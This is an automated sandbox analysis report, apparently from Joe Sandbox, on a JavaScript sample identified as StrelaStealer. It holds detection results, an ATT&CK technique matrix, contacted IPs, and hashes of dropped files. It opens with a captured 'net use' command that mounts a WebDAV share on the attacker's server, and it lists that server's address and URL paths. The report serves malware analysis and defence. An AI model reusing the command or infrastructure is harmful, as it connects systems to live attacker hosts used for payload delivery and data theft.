Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
32279194341766111087.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2597778547.000002A6CE800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000A.00000003.1362213404.000002A6CE560000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000008.00000003.1362012758.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363336477.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1363336477.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363336477.0000020409BED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363197729.0000020409B98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/~	net.exe, 00000008.00000002.1363197729.0000020409B98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588932
Start date and time:	2025-01-11 07:19:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	32279194341766111087.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 18.213.11.84, 50.16.47.176, 34.237.241.83, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.22.41.97, 4.175.87.197, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 32279194341766111087.js

Simulations

Behavior and APIs

Time	Type	Description
01:19:58	API Interceptor	24x Sleep call for process: powershell.exe modified
01:20:03	API Interceptor	1x Sleep call for process: net.exe modified
01:20:03	API Interceptor	2x Sleep call for process: svchost.exe modified
01:20:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32486157991878827956.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1775148551349412785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008017466090949
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Tx:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfa
MD5:	D9469668B02286310E38FE0112EBA33C
SHA1:	87357D33FC69410D571FE48FC5D3C6163C23B94F
SHA-256:	B92D87BEFF4FFDCE15D1313FCD699F7F0E6661E5269FC2E3974D38FED40DB172
SHA-512:	058CC3D1711938E8A3171BA214AE5E2CBF3C9AECEC0BC5B669ABDF64DD16427DD00D7B9DE8AB974C0E358A47F4F2FE48FA675580D7D5094E827E93AA3D67DD1B
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x66b3ee04, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715419536679214
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:jaza9vqcHbrq2UyUVWlW
MD5:	3F2926D2E63E6016134284E92FE22B29
SHA1:	78EACAF2726E3BD3212A4F595E8B36AA6A7EDD4D
SHA-256:	4B71904F84F1D6A088C270CF0F6EA613D850D5CC8A8F2D91B118D9533BB115A1
SHA-512:	45A09774E16F084306569453898FFDF08656E0E4C1557B019042ECC3606D1C4D37510A1D863E43461E13AD6CD07DA61E14B21EA79A38ED15DC5209B52950D65A
Malicious:	false
Preview:	f...... ...............X\...;...{......................0.p.....#....{.......}k.h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{.....................................%.....}..................PnG......}k..........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08130825295910313
Encrypted:	false
SSDEEP:	3:64//lKYeRlZeqr8qrrvr+gvrr/fZvollVmctlll/Sm1l1:64/lKzRlc5gn/SLPPv
MD5:	EC15743547D61279FEE302D9D12C895B
SHA1:	D68DC7144C2E9556D42BBA8A136B30E12AD639C1
SHA-256:	82597AC93B7222B9E119417E8D9F2B841C7546438AD35AF05435E6782229A486
SHA-512:	AC7BEFEA408B0BEF6734EF3C368E80C5E0CAF996DCB524DE5A47E7FFECC49ACEB15DA01FC5528791FD96D955C66997DCBF1BC2DA256EE9E31FB691A265EED733
Malicious:	false
Preview:	5.5......................................;...{.......}k.#....{..........#....{..#....{...i..#....{.V................PnG......}k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.109232653426086
Encrypted:	false
SSDEEP:	6:iOn/fW+WM+q2PsZ2nKuAl9OmbnIFUtF/fZz1Zmwr/fcNWMVkwOsZ2nKuAl9Ombjd:7n/fZL+vkcHAahFUtF/fZZ/r/fsLV51l
MD5:	153AB2EB76B7C7BC51D38B7F6E9BEE21
SHA1:	C5757C8187AD3DC0C1CDABC74DEA7EC7FC470F45
SHA-256:	367FD72B82AA38576B1B38B5C795A6E2E82DA611E56F60271F2B7990B362D07B
SHA-512:	5F7938841ECCB1CA1397682E73AE407E7D766F12BEFE1A8EF78A9A61AD8C5211A7CC4A372C494DF6BC04975912A5AF1052060DAAB105C63CA9140F7E863C8EB2
Malicious:	false
Preview:	2025/01/11-01:20:02.982 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:20:02.984 1d1c Recovering log #3.2025/01/11-01:20:02.985 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.109232653426086
Encrypted:	false
SSDEEP:	6:iOn/fW+WM+q2PsZ2nKuAl9OmbnIFUtF/fZz1Zmwr/fcNWMVkwOsZ2nKuAl9Ombjd:7n/fZL+vkcHAahFUtF/fZZ/r/fsLV51l
MD5:	153AB2EB76B7C7BC51D38B7F6E9BEE21
SHA1:	C5757C8187AD3DC0C1CDABC74DEA7EC7FC470F45
SHA-256:	367FD72B82AA38576B1B38B5C795A6E2E82DA611E56F60271F2B7990B362D07B
SHA-512:	5F7938841ECCB1CA1397682E73AE407E7D766F12BEFE1A8EF78A9A61AD8C5211A7CC4A372C494DF6BC04975912A5AF1052060DAAB105C63CA9140F7E863C8EB2
Malicious:	false
Preview:	2025/01/11-01:20:02.982 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:20:02.984 1d1c Recovering log #3.2025/01/11-01:20:02.985 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.091409388678505
Encrypted:	false
SSDEEP:	6:iOn/fWLRQ+q2PsZ2nKuAl9Ombzo2jMGIFUtF/fWLngZmwr/fWL7FVQVkwOsZ2nK3:7n/fWLrvkcHAa8uFUtF/fWLg/r/fWL76
MD5:	EFD984B070F33499EFF5B40B14DB491A
SHA1:	81383CDE6C81868450F48DF0ED430CAE1DEB7101
SHA-256:	02441DD61AA753B32B6CC57806A523F7F65FFED3FF751E4706635650193DCFCF
SHA-512:	D934BBC33BBBC1B1B76D5A0D6D86DE00DC58DA4EFE18D95888F3E81B55AA1B6FDF94C95B7713128077537BB17E0EF0D4BBF0A85A6E8EFEA73F7812895E8F8384
Malicious:	false
Preview:	2025/01/11-01:20:03.116 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:20:03.118 1df8 Recovering log #3.2025/01/11-01:20:03.121 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.091409388678505
Encrypted:	false
SSDEEP:	6:iOn/fWLRQ+q2PsZ2nKuAl9Ombzo2jMGIFUtF/fWLngZmwr/fWL7FVQVkwOsZ2nK3:7n/fWLrvkcHAa8uFUtF/fWLg/r/fWL76
MD5:	EFD984B070F33499EFF5B40B14DB491A
SHA1:	81383CDE6C81868450F48DF0ED430CAE1DEB7101
SHA-256:	02441DD61AA753B32B6CC57806A523F7F65FFED3FF751E4706635650193DCFCF
SHA-512:	D934BBC33BBBC1B1B76D5A0D6D86DE00DC58DA4EFE18D95888F3E81B55AA1B6FDF94C95B7713128077537BB17E0EF0D4BBF0A85A6E8EFEA73F7812895E8F8384
Malicious:	false
Preview:	2025/01/11-01:20:03.116 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:20:03.118 1df8 Recovering log #3.2025/01/11-01:20:03.121 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\257e77d3-53ed-4992-a589-145f89b4a359.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.95391542752787
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HDgcaq3QYiubPyP7E4T3y:Y2sRdskdMHf3QYhbC7nby
MD5:	D1EC2C39A7D1CD09F931801D8D705A9A
SHA1:	997BBE804B4A88D47BCBFCCE40BBFB97570A56A3
SHA-256:	F0EDEB4559200B546E0A304C982EFCFE9E5A9BA463723B5486CB2C3A00B61D9C
SHA-512:	4F2A659B7B9C7D76C35B4DFC95E8D0ACF60D59D10FB23AA69B0002297FBAB4C00B1D197B49CCFC2B6206C649F0BAF051BA1B0A01C2BD0608320D3481F4DF0B30
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136414810022","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":114837},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.95391542752787
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HDgcaq3QYiubPyP7E4T3y:Y2sRdskdMHf3QYhbC7nby
MD5:	D1EC2C39A7D1CD09F931801D8D705A9A
SHA1:	997BBE804B4A88D47BCBFCCE40BBFB97570A56A3
SHA-256:	F0EDEB4559200B546E0A304C982EFCFE9E5A9BA463723B5486CB2C3A00B61D9C
SHA-512:	4F2A659B7B9C7D76C35B4DFC95E8D0ACF60D59D10FB23AA69B0002297FBAB4C00B1D197B49CCFC2B6206C649F0BAF051BA1B0A01C2BD0608320D3481F4DF0B30
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136414810022","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":114837},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.239093497723613
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflBcjCFSj:oqupGVTbzrhtzxtSzK3/dRnlLejyE4ve
MD5:	8BD53FEC150126AEEF89CBC0278FF0D4
SHA1:	2FBF2ADBD8925E7F998952B66352D46D38FBF876
SHA-256:	029FCDAA66D1C82E7FA5D6AB1720037AC10088CB1ECF7F5F5DE6E2432FD49FA9
SHA-512:	275349E9061DF55993D88CC2CF50B21B81BD5B67F945605B061048E73109613837DD5F53ABDF4D530350AA4533BC352D5287B86696B7722108C86513D10FD30C
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120405670388567
Encrypted:	false
SSDEEP:	6:iOn/fWLRQQ+q2PsZ2nKuAl9OmbzNMxIFUtF/fWL4QgZmwr/fWLwQVkwOsZ2nKuAo:7n/fWLRovkcHAa8jFUtF/fWL45/r/fWo
MD5:	8540F3C5F7E878614664C95629DE425B
SHA1:	FBFA4E52FB63A00BF8BB343646DCF187F56A528F
SHA-256:	9EA203B3BD723E0761D3B6C9AB338C5E8C633BDF078351A72503CCCAE012D4C5
SHA-512:	9F3C64BA07BEB2422A8C58DE57BDD3C1183AEEEFC267320F16059155F9B938E4BD6E29623A622C8DE63860653E66D16D0C413414D56969DD064C60924F431B54
Malicious:	false
Preview:	2025/01/11-01:20:03.252 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:20:03.253 1df8 Recovering log #3.2025/01/11-01:20:03.254 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120405670388567
Encrypted:	false
SSDEEP:	6:iOn/fWLRQQ+q2PsZ2nKuAl9OmbzNMxIFUtF/fWL4QgZmwr/fWLwQVkwOsZ2nKuAo:7n/fWLRovkcHAa8jFUtF/fWL45/r/fWo
MD5:	8540F3C5F7E878614664C95629DE425B
SHA1:	FBFA4E52FB63A00BF8BB343646DCF187F56A528F
SHA-256:	9EA203B3BD723E0761D3B6C9AB338C5E8C633BDF078351A72503CCCAE012D4C5
SHA-512:	9F3C64BA07BEB2422A8C58DE57BDD3C1183AEEEFC267320F16059155F9B938E4BD6E29623A622C8DE63860653E66D16D0C413414D56969DD064C60924F431B54
Malicious:	false
Preview:	2025/01/11-01:20:03.252 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:20:03.253 1df8 Recovering log #3.2025/01/11-01:20:03.254 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438219478168706
Encrypted:	false
SSDEEP:	384:yeCci5GNiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:NhurVgazUpUTTGt
MD5:	49AA63A9D2021789731814BCBA795348
SHA1:	32C76F805531C5FF7BAA1293E658BABEAA20031A
SHA-256:	88BB5B975F9B77A92046718C2282D213680AF28F68D8EF25BC0C25F3B30BE203
SHA-512:	CB9A2927FE838BEB4CA5DAAE2254E7A7FF24F83EC86155DF5238F8AD11296628B4EBF310FBDAA8C3DC729622730923797951DE43BDC685C5B54C44B3257DB2BA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7654005989445425
Encrypted:	false
SSDEEP:	48:7M2JioyV3ioy/oy1C7oy16oy1tKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7JJu3VUXjBiDb9IVXEBodRBkE
MD5:	EFF46FBC2743CC0B00853A213BF67D5E
SHA1:	39444BF23811D2D921DB2DCBAB36A185370D15FF
SHA-256:	4210B0CABBF5059C79321E4F7E9F78F7378E485E50FBA69766341FF54D8114B6
SHA-512:	624B36F2F00B6509CAD07E42431F7D18EC22307021B6EACA037C4A7A4AE9704122B8DFF86BF98B4199197232710F72A84C1B16135FB3C6A5AEAC4BB3E2091D56
Malicious:	false
Preview:	.... .c.......I................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
